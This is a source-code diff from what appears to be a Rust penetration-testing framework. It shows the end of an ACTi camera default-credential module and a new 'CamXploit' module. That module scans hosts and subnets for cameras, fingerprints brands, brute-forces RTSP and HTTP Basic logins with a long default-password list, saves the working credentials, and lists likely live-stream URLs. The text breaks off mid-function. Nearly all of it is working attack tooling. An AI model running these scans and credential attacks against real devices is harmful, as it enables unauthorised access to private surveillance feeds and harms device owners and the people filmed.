if !response.contains("incorrect") && !response.contains("failed") {
println!("[+] Telnet credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
}
// Explicit failure indicators -> auth failed
if response.contains("incorrect") || response.contains("failed") {
continue;
}
// Require a positive indicator of a successful login:
// shell prompts ($, #, >, ~) or welcome/session messages.
let has_shell_prompt = response.contains('$')
|| response.contains('#')
|| response.contains('>')
|| response.contains('~');
let has_welcome = response.contains("Welcome")
|| response.contains("Last login");
if has_shell_prompt || has_welcome {
crate::mprintln!("{}", format!("[+] Telnet credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Telnet, username.to_string(), password.to_string())));
}
// Otherwise the response is inconclusive (e.g. empty,
// connection-closed, re-prompt of "login:") -> treat as failed.
}
}
}
println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// HTTP Web Login check (async)
pub async fn check_http_form(config: &Config) -> Result<()> {
println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port);
pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, String, String)>> {
crate::mprintln!("{}", format!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port).cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let client = crate::utils::build_http_client(Duration::from_secs(DEFAULT_TIMEOUT_SECS))?;
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
for (username, password) in &config.credentials {
if config.verbosity {
println!("[*] Trying HTTP: {}:{}", username, password);
crate::mprintln!("{}", format!("[*] Trying HTTP: {}:{}", username, password).dimmed());
}
let data = [
@@ -156,29 +217,74 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
("btnSubmit", "Login"),
];
let res = client
// Manual form construction
let mut body = String::new();
for (key, val) in &data {
if !body.is_empty() { body.push('&'); }
body.push_str(&format!("{}={}", key, url_encode(val)));
}
// Treat a transient request failure as a retryable/transport error: skip
// this credential and continue, mirroring the FTP/SSH/Telnet loops above
// instead of `?`-aborting the whole HTTP service check.
let res = match client
.post(&url)
.form(&data)
.header("Content-Type", "application/x-www-form-urlencoded")
.body(body)
.send()
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
if !body.contains(">Password<") {
println!("[+] HTTP credentials valid: {}:{}", username, password);
if config.stop_on_success {
return Ok(());
{
Ok(r) => r,
Err(e) => {
tracing::trace!(target = %config.target, port = config.port, user = %username, "HTTP form request failed: {}", e);
continue;
}
};
let status = res.status();
// A failed body read is a transport error, NOT evidence of valid creds.
// Previously this was mapped to an empty String, which trivially does not
// contain the login-form marker and was misreported as a successful login.
let body = match crate::utils::network::read_http_body_text_capped(res, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(t) => t,
Err(e) => {
tracing::trace!(target = %config.target, port = config.port, user = %username, "HTTP form response body read failed: {}", e);
continue;
}
};
// Require a POSITIVE success signal rather than inferring success from the
// mere absence of the ">Password<" login-form token:
// - HTTP status must indicate success/redirect (200 / 3xx login-redirect)
// - the login form must NO LONGER be presented (no LOGIN_PASSWORD field
// and no ">Password<" prompt — both are present on the re-served form)
let still_login_form =
body.contains(">Password<") || body.contains("LOGIN_PASSWORD");
if (status.is_success() || status.is_redirection()) && !still_login_form && !body.is_empty() {
crate::mprintln!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
return Ok(Some((ServiceType::Http, username.to_string(), password.to_string())));
}
}
println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port);
Ok(())
crate::mprintln!("{}", format!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port).yellow());
Ok(None)
}
/// Entrypoint for module - parallel checks
pub async fn run(target: &str) -> Result<()> {
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("acti_camera_default requires a single-host target")?;
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
crate::mprintln!();
let mut outcome = ModuleOutcome::ok();
ctx.rate_limit(target).await;
let creds = vec![
("admin", "12345"),
("admin", "123456"),
@@ -210,10 +316,70 @@ pub async fn run(target: &str) -> Result<()> {
check_http_form(&http_conf),
);
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
// Collect all successful results
let mut found_credentials = Vec::new();
if let Ok(Some((service, user, pass))) = ftp_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = ssh_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = telnet_res {
found_credentials.push((service, user, pass));
}
if let Ok(Some((service, user, pass))) = http_res {
found_credentials.push((service, user, pass));
}
Ok(())
// Print summary and store credentials
if !found_credentials.is_empty() {
crate::mprintln!();
crate::mprintln!("{}", "=== Summary ===".bold());
for (service, user, pass) in &found_credentials {
crate::mprintln!("{}", format!(" {}: {}:{}", service.as_str(), user, pass).green());
let (svc_port, svc_name) = match service.as_str() {
"FTP" => (21u16, "ftp"),
"SSH" => (22, "ssh"),
"Telnet" => (23, "telnet"),
"HTTP" => (80, "http"),
_ => (0, "unknown"),
};
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: target, port: svc_port, service: svc_name, username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/camera/acti/acti_camera_default",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("ACTi default credentials valid {}:{} on {} ({}:{})", user, pass, svc_name, target, svc_port),
data: Some(serde_json::json!({
"service": svc_name,
"port": svc_port,
"username": user,
"password": pass,
})),
});
}
} else {
crate::mprintln!();
crate::mprintln!("{}", "[-] No valid credentials found on any service.".yellow());
}
Ok(outcome)
}
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "ACTi Camera Default Credentials".to_string(),
description: "Tests default credentials across FTP, SSH, Telnet, and HTTP on ACTi IP cameras.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: None,
}
}
crate::register_native_module!(crate::module::Category::Creds, "camera/acti/acti_camera_default", native);
+868
View File
@@ -0,0 +1,868 @@
use anyhow::{Context, Result};
use colored::*;
use reqwest::Client;
use std::collections::{HashMap, HashSet};
use base64::prelude::*;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::utils::{is_subnet_target, parse_subnet, subnet_host_count};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::sync::{Mutex, Semaphore};
use tokio::time::timeout;
// =================================================================================
// CONSTANTS & DATA
// =================================================================================
const PORT_SCAN_TIMEOUT: u64 = 2;
const TIMEOUT: u64 = 5;
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
// are not cameras and should be skipped in mass scan mode
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
const COMMON_PORTS: &[u16] = &[
// Standard web ports
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
// RTSP ports
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
// RTMP ports
1935, 1936, 1937, 1938, 1939,
// Custom camera ports
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
// ONVIF ports
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
// VLC streaming ports
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
// Common alternative ports
110, 143, 993, 995,
1024, 1025, 1026, 1027, 1028, 1029, 1030,
2000, 2001, 2002, 2003, 2004, 2005,
3000, 3001, 3002, 3003, 3004, 3005,
4000, 4001, 4002, 4003, 4004, 4005,
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
// Additional common ports
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
// MMS ports
1755, 1756, 1757, 1758, 1759, 1760,
// High ports
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
];
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
const COMMON_PATHS: &[&str] = &[
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
];
// Default credentials
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "1234"),
("admin", "12345"),
("admin", "123456"),
("admin", "1234567"),
("admin", "12345678"),
("admin", "123456789"),
("admin", "admin123"),
("admin", "admin1234"),
("admin", "admin12345"),
("admin", "password"),
("admin", "pass"),
("admin", "123"),
("admin", "1111"),
("admin", "0000"),
("admin", "8888"),
("admin", "default"),
("admin", "admin@123"),
("admin", "Admin123"),
("admin", "Admin1234"),
("admin", "888888"),
("admin", "666666"),
("admin", "4321"),
("admin", "9999"),
("admin", ""),
("root", "root"),
("root", "toor"),
("root", "1234"),
("root", "12345"),
("root", "123456"),
("root", "pass"),
("root", "password"),
("root", "root123"),
("root", "admin"),
("root", "1111"),
("root", "0000"),
("root", ""),
("user", "user"),
("user", "user123"),
("user", "password"),
("user", "1234"),
("user", "12345"),
("user", "123456"),
("user", ""),
("guest", "guest"),
("guest", "guest123"),
("guest", "1234"),
("guest", "12345"),
("guest", "123456"),
("guest", ""),
("operator", "operator"),
("operator", "operator123"),
("operator", "1234"),
("operator", "12345"),
("administrator", "administrator"),
("administrator", "admin"),
("administrator", "1234"),
("administrator", "12345"),
("administrator", "123456"),
("administrator", "password"),
("supervisor", "supervisor"),
("supervisor", "1234"),
("supervisor", "12345"),
("supervisor", "123456"),
("supervisor", "password"),
("support", "support"),
("support", "support123"),
("support", "1234"),
("support", "password"),
("system", "system"),
("system", "system123"),
("system", "1234"),
("system", "12345"),
("system", "123456"),
("viewer", "viewer"),
("viewer", "viewer123"),
("viewer", "1234"),
("viewer", "12345"),
("admin1", "admin"),
("admin1", "admin1"),
("admin1", "1234"),
("admin1", "12345"),
("admin1", "123456"),
("admin1", "password"),
("888888", "888888"),
("888888", "123456"),
("888888", "000000"),
("666666", "666666"),
("666666", "123456"),
("666666", "000000"),
("", "admin"),
("", "12345"),
("", "123456"),
];
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("camxploit requires a single-host target")?;
if crate::utils::get_global_source_port().await.is_some() {
crate::mprintln!("{}", "[*] Note: source_port does not apply to HTTP connections.".dimmed());
}
let target = target.trim().to_string();
if !crate::utils::is_batch_mode() {
print_banner();
}
let mut outcome = ModuleOutcome::ok();
// Subnet handling — iterate over each IP in the CIDR
if is_subnet_target(&target) {
let network = parse_subnet(&target)?;
let count = subnet_host_count(&network);
crate::mprintln!("{}", format!("[*] Subnet {}{} hosts to scan sequentially", target, count).cyan());
for ip in network.iter() {
if ctx.is_cancelled() { break; }
let ip_str = ip.to_string();
crate::mprintln!("\n{}", format!("[*] >>> Scanning host: {}", ip_str).cyan().bold());
if let Err(e) = scan_host(ctx, &ip_str, &mut outcome).await {
crate::mprintln!("{}", format!("[!] Error on {}: {}", ip_str, e).yellow());
}
}
crate::mprintln!("\n{}", "[*] Subnet scan complete.".green().bold());
return Ok(outcome);
}
scan_host(ctx, &target, &mut outcome).await?;
Ok(outcome)
}
async fn scan_host(ctx: &ModuleCtx, target: &str, outcome: &mut ModuleOutcome) -> Result<()> {
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
// 1. Port Scan
crate::mprintln!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
ctx.rate_limit(target).await;
let (open_ports, rtsp_ports) = check_ports(target).await;
if open_ports.is_empty() {
crate::mprintln!("{}", "[-] No open camera ports found.".red());
crate::mprintln!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
return Ok(());
}
for &port in &open_ports {
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::OpenPort,
message: format!("Open port {}/tcp on {}", port, target),
data: Some(serde_json::json!({"port": port, "protocol": "tcp"})),
});
}
// Skip hosts whose only open ports are general-purpose services (SSH/Telnet/RDP);
// they are not cameras and waste fingerprinting work.
if is_only_ignored_services(&open_ports) {
crate::mprintln!(
"{}",
format!("[-] Only non-camera services open ({:?}); skipping.", open_ports).yellow()
);
return Ok(());
}
crate::mprintln!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
// 2. Camera Detection & Fingerprinting
let client = create_client()?;
ctx.rate_limit(target).await;
let is_camera = check_if_camera(target, &open_ports, &client).await;
if !is_camera {
crate::mprintln!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
crate::mprintln!("{}", "[*] Proceeding with additional checks...".cyan());
}
ctx.rate_limit(target).await;
check_login_pages(target, &open_ports, &client, outcome).await;
ctx.rate_limit(target).await;
fingerprint_camera(target, &open_ports, &client, outcome).await;
// 3. Credential Testing
ctx.rate_limit(target).await;
test_default_passwords(ctx, target, &open_ports, &rtsp_ports, &client, outcome).await;
// 4. Stream Detection
ctx.rate_limit(target).await;
detect_live_streams(target, &open_ports, &rtsp_ports, &client, outcome).await;
// 5. Additional Information
crate::mprintln!("{}", "\n[✅] Scan Completed!".green().bold());
Ok(())
}
fn print_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln_block!(
format!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold()),
format!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold()),
format!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold()),
format!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold()),
format!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold())
);
}
fn create_client() -> Result<Client> {
Client::builder()
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
.timeout(Duration::from_secs(TIMEOUT))
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
.build()
.map_err(|e| anyhow::anyhow!(e))
}
fn get_protocol(port: u16) -> &'static str {
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
}
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
let mut map = HashMap::new();
// Web ports
map.insert(80, ("HTTP", " - Standard Web"));
map.insert(443, ("HTTPS", " - Secure Web"));
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
map.insert(8000, ("HTTP-Alt", ""));
// RTSP ports
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
// RTMP ports
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
// Custom camera ports
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
// ONVIF
map.insert(3702, ("ONVIF", " - Camera Discovery"));
map
}
// =================================================================================
// PORT SCANNING
// =================================================================================
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
let mut open_ports = Vec::new();
let mut rtsp_ports = Vec::new();
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
let mut tasks = Vec::new();
let target_arc = Arc::new(target.to_string());
// Deduplicate ports
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
let port_map = get_port_service_map();
for port in unique_ports {
let t = target_arc.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(e) => {
// Semaphore can only error if it was closed; surfacing
// this is important so the operator sees why scanning
// suddenly stopped finding ports.
tracing::warn!(target = %t, port, "scan semaphore acquire failed: {}", e);
return None;
}
};
let addr = format!("{}:{}", t, port);
// Basic TCP Connect (canonical helper — honors `setg src_port`)
if crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await.is_ok() {
// If open, probe for RTSP
let is_rtsp = probe_rtsp(&t, port).await;
return Some((port, is_rtsp));
}
None
}));
}
for task in tasks {
if let Ok(Some((port, is_rtsp))) = task.await {
open_ports.push(port);
if is_rtsp {
rtsp_ports.push(port);
}
// Logging
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
crate::mprintln!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
}
}
open_ports.sort();
rtsp_ports.sort();
(open_ports, rtsp_ports)
}
async fn probe_rtsp(target: &str, port: u16) -> bool {
// Sends a minimal RTSP OPTIONS request
let addr = format!("{}:{}", target, port);
if let Ok(mut stream) = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(PORT_SCAN_TIMEOUT)).await {
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
target, port
);
if let Err(e) = stream.write_all(request.as_bytes()).await {
tracing::trace!("RTSP OPTIONS write failed: {e}");
return false;
}
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await
&& n > 0 {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
return true;
}
}
}
false
}
// =================================================================================
// FINGERPRINTING
// =================================================================================
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
crate::mprintln!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
let found = Arc::new(Mutex::new(false));
let mut tasks = Vec::new();
for &port in open_ports {
let t = target.to_string();
let c = client.clone();
let f = found.clone();
tasks.push(tokio::spawn(async move {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, t, port);
if let Ok(resp) = c.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let status = resp.status();
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b.to_lowercase(),
Err(e) => {
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
String::new()
}
};
let mut indicators = false;
// Server header indicators
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
headers.contains("ipcam") || headers.contains("webcam") {
crate::mprintln!(" ✅ Camera Server Header detected on port {}", port);
indicators = true;
}
// Body indicators
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
crate::mprintln!(" ✅ CP Plus indicator on port {}", port);
indicators = true;
}
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
body.contains("ipcam") || body.contains("netcam") {
crate::mprintln!(" ✅ Camera keyword in body on port {}", port);
indicators = true;
}
// Auth requirement check
if status == reqwest::StatusCode::UNAUTHORIZED {
crate::mprintln!(" ✅ Authentication required on port {} (potential camera)", port);
indicators = true;
}
if indicators {
let mut lock = f.lock().await;
*lock = true;
}
}
}));
}
for task in tasks {
if let Err(e) = task.await { eprintln!("[!] Task join failed: {}", e); }
}
*found.lock().await
}
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
crate::mprintln!("{}", "\n[🔍] Checking for authentication pages...".cyan());
let mut found_count = 0;
for &port in open_ports {
let protocol = get_protocol(port);
for path in COMMON_PATHS {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
status == reqwest::StatusCode::FORBIDDEN {
crate::mprintln!(" ✅ Found: {} (Status: {})", url, status);
found_count += 1;
// Record the exposed page so it reaches loot/export, not
// just stdout.
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!("Exposed camera page {} (HTTP {})", url, status),
data: Some(serde_json::json!({
"url": url,
"port": port,
"path": path,
"status": status.as_u16(),
})),
});
}
}
}
}
if found_count == 0 {
crate::mprintln!(" {} No common login pages found", "[-]".yellow());
}
}
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
crate::mprintln!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
let mut found_brand = false;
for &port in open_ports {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
if let Ok(resp) = client.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(b) => b.to_lowercase(),
Err(e) => {
crate::mprintln!("{} body decode failed: {}", "[-]".red(), e);
String::new()
}
};
let brand = if headers.contains("hikvision") || body.contains("hikvision") {
Some("Hikvision")
} else if headers.contains("dahua") || body.contains("dahua") {
Some("Dahua")
} else if headers.contains("axis") || body.contains("axis") {
Some("Axis")
} else if body.contains("cp plus") || body.contains("cpplus") {
Some("CP Plus")
} else if body.contains("foscam") || headers.contains("foscam") {
Some("Foscam")
} else if body.contains("vivotek") || headers.contains("vivotek") {
Some("Vivotek")
} else {
None
};
if let Some(brand) = brand {
crate::mprintln!("🔥 {} on port {}!", format!("{} Camera Detected", brand).bright_red().bold(), port);
found_brand = true;
// Record the fingerprint so it reaches loot/export, not just
// stdout.
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!("{} camera fingerprinted on {}:{}", brand, target, port),
data: Some(serde_json::json!({
"brand": brand,
"port": port,
"url": url,
})),
});
}
}
}
if !found_brand {
crate::mprintln!(" {} Could not identify specific camera brand", "[-]".yellow());
}
}
// =================================================================================
// CREDENTIALS
// =================================================================================
async fn test_default_passwords(ctx: &ModuleCtx, target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
crate::mprintln!("{}", "\n[🔑] Testing common credentials...".cyan());
crate::mprintln!("{}", "[️] Prioritizing RTSP ports and Web ports with authentication.".yellow());
let all_creds_vec = get_default_credentials();
let all_creds = all_creds_vec.as_slice();
let priority_creds = vec![
// Top priority credentials
("admin", "admin"),
("admin", "12345"),
("admin", "123456"),
("admin", ""),
("root", "root"),
("root", "12345"),
("", "admin"),
];
// Test RTSP ports first
if !rtsp_ports.is_empty() {
crate::mprintln!("{}", "\n[🎯] Testing RTSP Authentication...".cyan());
for &port in rtsp_ports {
for &(user, pass) in &priority_creds {
if ctx.is_cancelled() { return; }
ctx.rate_limit(target).await;
if test_rtsp_auth(target, port, user, pass).await {
crate::mprintln!("🔥 {} RTSP {}:{} @ rtsp://{}:{}/",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
target,
port
);
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: target, port, service: "rtsp", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/camxploit/camxploit",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("RTSP credentials valid {}:{} on rtsp://{}:{}/", user, pass, target, port),
data: Some(serde_json::json!({
"service": "rtsp",
"port": port,
"username": user,
"password": pass,
})),
});
}
}
}
}
// Test HTTP/HTTPS ports
crate::mprintln!("{}", "\n[🎯] Testing HTTP Basic Auth...".cyan());
for &port in open_ports {
if rtsp_ports.contains(&port) {
continue; // Already tested
}
if ctx.is_cancelled() { return; }
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
// First check if auth is required
ctx.rate_limit(target).await;
if let Ok(resp) = client.get(&url).send().await
&& resp.status() == reqwest::StatusCode::UNAUTHORIZED {
// Try credentials
// First try priority creds
let mut tested = HashSet::new();
for &(user, pass) in &priority_creds {
if ctx.is_cancelled() { return; }
tested.insert((user, pass));
ctx.rate_limit(target).await;
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await
&& resp.status().is_success() {
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: target, port, service: "http", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/camxploit/camxploit",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("HTTP Basic credentials valid {}:{} @ {}", user, pass, url),
data: Some(serde_json::json!({
"service": "http",
"port": port,
"username": user,
"password": pass,
"url": url,
})),
});
}
}
// Then try remaining creds from the full list
for &(user, pass) in all_creds {
if ctx.is_cancelled() { return; }
if tested.contains(&(user, pass)) { continue; }
ctx.rate_limit(target).await;
if let Ok(resp) = client.get(&url).basic_auth(user, Some(pass)).send().await
&& resp.status().is_success() {
crate::mprintln!("🔥 {} HTTP Basic {}:{} @ {}",
"SUCCESS!".bright_green().bold(),
user,
if pass.is_empty() { "<empty>" } else { pass },
url
);
if crate::cred_store::store_credential(crate::cred_store::NewCred {
host: target, port, service: "http", username: user, secret: pass,
cred_type: crate::cred_store::CredType::Password,
source_module: "creds/camxploit/camxploit",
}).await.is_none() { eprintln!("[!] Failed to store credential"); }
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Credential,
message: format!("HTTP Basic credentials valid {}:{} @ {}", user, pass, url),
data: Some(serde_json::json!({
"service": "http",
"port": port,
"username": user,
"password": pass,
"url": url,
})),
});
}
}
}
}
}
async fn test_rtsp_auth(target: &str, port: u16, user: &str, pass: &str) -> bool {
let addr = format!("{}:{}", target, port);
if let Ok(mut stream) = crate::utils::network::tcp_connect_str(&addr, Duration::from_secs(2)).await {
let auth_str = BASE64_STANDARD.encode(format!("{}:{}", user, pass));
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nAuthorization: Basic {}\r\nCSeq: 1\r\n\r\n",
target, port, auth_str
);
if stream.write_all(request.as_bytes()).await.is_ok() {
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buffer)).await {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0 200 OK") {
return true;
}
}
}
}
false
}
// =================================================================================
// STREAM DETECTION
// =================================================================================
async fn detect_live_streams(target: &str, open_ports: &[u16], rtsp_ports: &[u16], client: &Client, outcome: &mut ModuleOutcome) {
crate::mprintln!("{}", "\n[🎥] Detecting Live Streams...".cyan());
// Show RTSP links
if !rtsp_ports.is_empty() {
crate::mprintln!("{}", "\n[🎯] RTSP Ports Found - Potential RTSP URLs:".bright_cyan());
let common_paths = [
"/",
"/live.sdp",
"/h264.sdp",
"/stream1",
"/Streaming/Channels/1",
"/Streaming/Channels/101",
"/cam/realmonitor",
"/live/ch00_0",
"/livestream",
"/axis-media/media.amp"
];
for &port in rtsp_ports {
for path in common_paths {
crate::mprintln!(" 🎥 RTSP: rtsp://{}:{}{}", target, port, path);
}
}
crate::mprintln!("{}", " 💡 Tip: Use VLC Media Player (Media -> Open Network Stream) to test these URLs".yellow());
}
// Check HTTP streams on open ports
crate::mprintln!("{}", "\n[🔍] Checking HTTP/HTTPS Streams...".cyan());
let stream_paths = [
"/video",
"/stream",
"/live",
"/mjpg/video.mjpg",
"/snapshot.jpg",
"/videostream.cgi",
"/video.cgi",
"/image.jpg",
"/cgi-bin/mjpeg",
"/axis-cgi/mjpg/video.cgi"
];
let mut found_streams = false;
for &port in open_ports {
let protocol = get_protocol(port);
for path in stream_paths {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
// Use head first
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED {
let ct = resp.headers().get("content-type")
.and_then(|h| h.to_str().ok())
.unwrap_or("");
if ct.contains("video") || ct.contains("stream") || ct.contains("image") || ct.contains("mjpeg") {
crate::mprintln!(" ✅ Potential Stream: {} (Type: {})", url, ct);
found_streams = true;
// Record the exposed/unauthenticated stream so it
// reaches loot/export, not just stdout.
outcome.findings.push(Finding {
target: target.to_string(),
kind: FindingKind::Note,
message: format!("Potential exposed camera stream {} (Content-Type: {})", url, ct),
data: Some(serde_json::json!({
"url": url,
"port": port,
"content_type": ct,
"auth_required": false,
})),
});
} else if status == reqwest::StatusCode::UNAUTHORIZED {
crate::mprintln!(" ⚠️ Protected Stream: {} (Auth Required)", url);
found_streams = true;
outcome.findings.push(Finding {
target: target.to_string(),
